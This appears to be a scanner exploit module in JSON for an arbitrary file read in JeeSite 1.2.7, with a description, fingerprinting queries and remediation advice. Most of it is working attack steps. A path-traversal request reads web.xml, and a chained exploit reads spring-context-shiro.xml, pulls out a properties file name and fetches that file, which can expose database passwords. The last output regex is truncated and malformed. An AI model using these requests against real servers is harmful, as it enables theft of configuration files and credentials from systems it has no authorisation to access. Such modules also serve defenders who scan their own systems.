{
  "Name": "JEESITE V1.2.7 File Read",
  "Description": "<p>JeeSite is a high-efficiency, high-performance, and strong security open source Java EE rapid development platform based on a number of excellent open source projects, highly integrated and packaged.</p><p>In JeeSite 1.x version, the UserfilesDownloadServlet function improperly handles the related URL, which leads to the existence of arbitrary file reading vulnerabilities.</p>",
  "Product": "JeeSite",
  "Homepage": "https://jeesite.com/",
  "DisclosureDate": "2021-10-24",
  "Author": "sharecast.net@gmail.com",
  "FofaQuery": "app=\"JeeSite\"",
  "GobyQuery": "app=\"JeeSite\"",
  "Level": "2",
  "Impact": "<p>In JeeSite 1.x version, the UserfilesDownloadServlet function improperly handles the related URL, which leads to the existence of arbitrary file reading vulnerabilities.</p>",
  "Recommendation": "<p>The vendor has released a bug fix, please pay attention to the update in time: <a href=\"https://jeesite.com\">https://jeesite.com</a></p><p>1. Set access policies and whitelist access through security devices such as firewalls.</p><p>2.If not necessary, prohibit public network access to the system.</p>",
  "Translation": {
    "CN": {
      "Name": "JEESITE 快速开发平台 V1.2.7版本任意文件读取漏洞",
      "VulType": ["fileread"],
	  "Tags": ["fileread"],
	  "Description": "<p>JeeSite是基于多个优秀的开源项目，高度整合封装而成的高效，高性能，强安全性的开源Java EE快速开发平台。</p><p>在JeeSite 1.x版本中由于UserfilesDownloadServlet函数对相关URL处理不当，导致其存在任意文件读取漏洞。</p>",
	  "Impact": "<p>攻击者读取任意文件，导致系统敏感配置文件泄露，进而导致数据库密码或者敏感文件泄露，影响用户数据等风险。</p>",
      "Product": "JeeSite",
      "Recommendation": "<p>1、更新至4.x版本，官方地址：</p><p><a href=\"https://jeesite.com/\" rel=\"nofollow\">https://jeesite.com/</a><br></p><p>2、临时解决方案，建议使用WAF进行过滤，安装参考：</p><p><a href=\"https://github.com/SpiderLabs/ModSecurity/wiki\" rel=\"nofollow\">https://github.com/SpiderLabs/ModSecurity/wiki</a></p>"
    }
  },
  "References": [
    "http://www.yulegeyu.com/2021/06/19/JEESITE-V1-2-7-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E/"
  ],
  "Is0day": false,
  "HasExp": true,
  "ExpParams": [
    {
      "name": "cmd",
      "type": "input",
      "value": "../WEB-INF/classes/spring-context-shiro.xml",
      "show": ""
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/userfiles;/userfiles/../WEB-INF/web.xml",
        "follow_redirect": false,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "<display-name>",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "<listener-class>",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/userfiles;/userfiles/{{{cmd}}}",
        "follow_redirect": false,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          }
        ]
      },
      "SetVariable": [
        "conf|lastbody|regex|location=\"classpath:(.*?\\.properties)\""
      ]
    },
    {
      "Request": {
        "method": "GET",
        "uri": "/userfiles;/userfiles/../WEB-INF/classes/{{{conf}}}",
        "follow_redirect": false,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          }
        ]
      },
      "SetVariable": [
        "output|lastbody|regex|([."
      ]
    }
  ],
  "Tags": [
    "fileread"
  ],
  "VulType": [
    "fileread"
  ],
  "CVEIDs": [
    ""
  ],
  "CNNVD": [
    ""
  ],
  "CNVD": [
    ""
  ],
  "CVSSScore": "7",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}